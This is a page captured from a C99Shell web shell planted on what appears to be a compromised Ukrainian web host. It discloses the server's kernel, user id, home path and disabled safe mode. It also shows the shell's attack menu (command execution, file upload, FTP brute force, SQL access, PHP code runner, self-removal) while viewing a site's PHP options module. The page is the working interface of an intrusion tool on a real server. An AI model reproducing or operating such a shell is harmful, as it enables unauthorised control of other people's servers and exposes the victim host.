!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/zt-tsou.org.ua/modules/zzzoptions/   drwxr-xr-x
Free 106.79 GB of 200.55 GB (53.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     module.php (4.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
class Options
{
    var 
$UserMode   false;
    var 
$AdminMode  true;
    var 
$AdminAsynchMode  true;
    var 
$SearchMode false;
    var 
$PanelMode  true;
    var 
$Table;
    var 
$Directory;
    var 
$ClassName 'Options';
    function 
Options()
    {        
        
$this->Directory dirname(__FILE__);
    }
    function 
User()
    {                
    }    
    function 
Menu()
    {
        global 
$ALANG;
        if (isset(
$_GET['mod']) && ($_GET['mod'] == $this->ClassName))
        {
            return array(
                array(
'title' => $ALANG['OptionsMenuModules'],    'link' => '?mod='.$this->ClassName.'&modules'),
                array(
'title' => $ALANG['OptionsMenuGlobal'],        'link' => '?mod='.$this->ClassName.'&global'),
                array(
'title' => $ALANG['OptionsMenuPanels'],        'link' => '?mod='.$this->ClassName.'&panels'),
            );
        } else
        return 
"";                
    }
    function 
AdminAsynch()
    {
        foreach(
$_POST as $key => $value)
        {
            
$fields explode('&'$_POST[$key]);
            
$order  0;
            
$fields array_reverse($fields);
            
$ids = array();
            
$order 0;
            foreach(
$fields as $field)
            {
                
$order++;
                
$field_key_value explode('='$field);
                
$level          urldecode($field_key_value[0]);
                
$id          urldecode($field_key_value[1]);
                
$ids[] .= $id;
            }
            
var_dump($ids);
            
$ids array_reverse($ids);
            
SetParam("Panel-".$keyserialize($ids), "all");
        }
        die;
    }

    function 
Admin()
    {
            global 
$ALANG$alang$_LANG_ID$Modules;
            
$smarty GetAdminSmarty($this->ClassName);
              
$smarty->template_dir "user/templates/options";
            if (isset(
$_GET['global']))
            {
                if (isset(
$_POST['save']))
                {
                    foreach(
$_POST['Params'] as $key => $value)
                    {
                        if (isset(
$value['all']))
                        {
                            if (!
is_array($value['all']))
                                
SetParam($key$value['all'], 'all');
                            else
                                
SetParam($keyserialize($value['all']), 'all');
                        }
                        foreach(
$_LANG_ID as $lang)
                        {
                            if (isset(
$value[$lang]))
                            {
                            if (!
is_array($value['all']))
                                
SetParam($key$value[$lang], $lang);
                            else
                                
SetParam($keyserialize($value[$lang]), $lang);
                            }
                        }
                    }
                }
                
$smarty->assign("oper""save");
                
$result['Title']     = $ALANG['OptionsGlobal'];                
                
$result['Content']     = $smarty->fetch('global.tpl');
                return 
$result;
            }
            if (isset(
$_GET['modules']))
            {
                if (isset(
$_POST['save']))
                {
                    foreach(
$_POST['Params'] as $key => $value)
                    {
                        if (isset(
$value['all']))
                        {
                            if (!
is_array($value['all']))
                                
SetParam($key$value['all'], 'all');
                            else
                                
SetParam($keyserialize($value['all']), 'all');
                        }
                        foreach(
$_LANG_ID as $lang)
                        {
                            if (isset(
$value[$lang]))
                            {
                            if (!
is_array($value['all']))
                                
SetParam($key$value[$lang], $lang);
                            else
                                
SetParam($keyserialize($value[$lang]), $lang);
                            }
                        }
                    }
                }
                
$smarty->assign("oper""save");
                
$result['Title']     = $ALANG['OptionsModules'];                
                
$result['Content']     = $smarty->fetch('modules.tpl');
                return 
$result;
            }            
            if (isset(
$_GET['panels']))
            {
                
$panels = array();
                
$nouse = array();
                
$cl unserialize(GetParam("Panel-left",   "all"));
                
$cr unserialize(GetParam("Panel-right",  "all"));
                
$cc unserialize(GetParam("Panel-center""all"));
                
$cn unserialize(GetParam("Panel-nouse",  "all"));
                foreach(
$Modules as $mod)
                    if (
$mod->PanelMode)
                    {
                        
$res $mod->Panel();
                        if (
$res)
                        foreach(
$res as $k => $pan)
                        {
                            
$panels [$k]= $pan;
                            if (!
in_array($k$cl) && !in_array($k$cr) && !in_array($k$cc))
                                
$nouse  [$k]= $pan;
                        }
                    }
                
$smarty->assign('panels'$panels);
                
$smarty->assign('nouse'$nouse);
                
$result['Title']     = $ALANG['OptionsPanels'];
                
$result['Content']     = $smarty->fetch('panels.tpl');
                return 
$result;
            }


            if (isset(
$_GET['GlobalParams']))
            {
                
$smarty->assign('oper''OptionsEdit');
                
$result['Title']     = $ALANG['OptionsGlobalParams'];                
                
$result['Content']         = $smarty->fetch('globalparams.tpl');
                return 
$result;                                            
            }
        
    }        
    function 
Panel()
    {
        global 
$ULANG$ulang;
/*        $result['address_rus'] = array('panelName' => "",
                                        'panelHtml' => GetParam('address_'.$language));
        if (GetParam('custom_panel1') == 'on')
            $result['custom_panel1'] = array('panelName' => GetParam('custom_panel1_name_'.$language),
                                    'panelHtml' => GetParam('custom_panel1_'.$language));*/
        
return $result;
    }
    

$Modules [] = new Options();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0357 ]--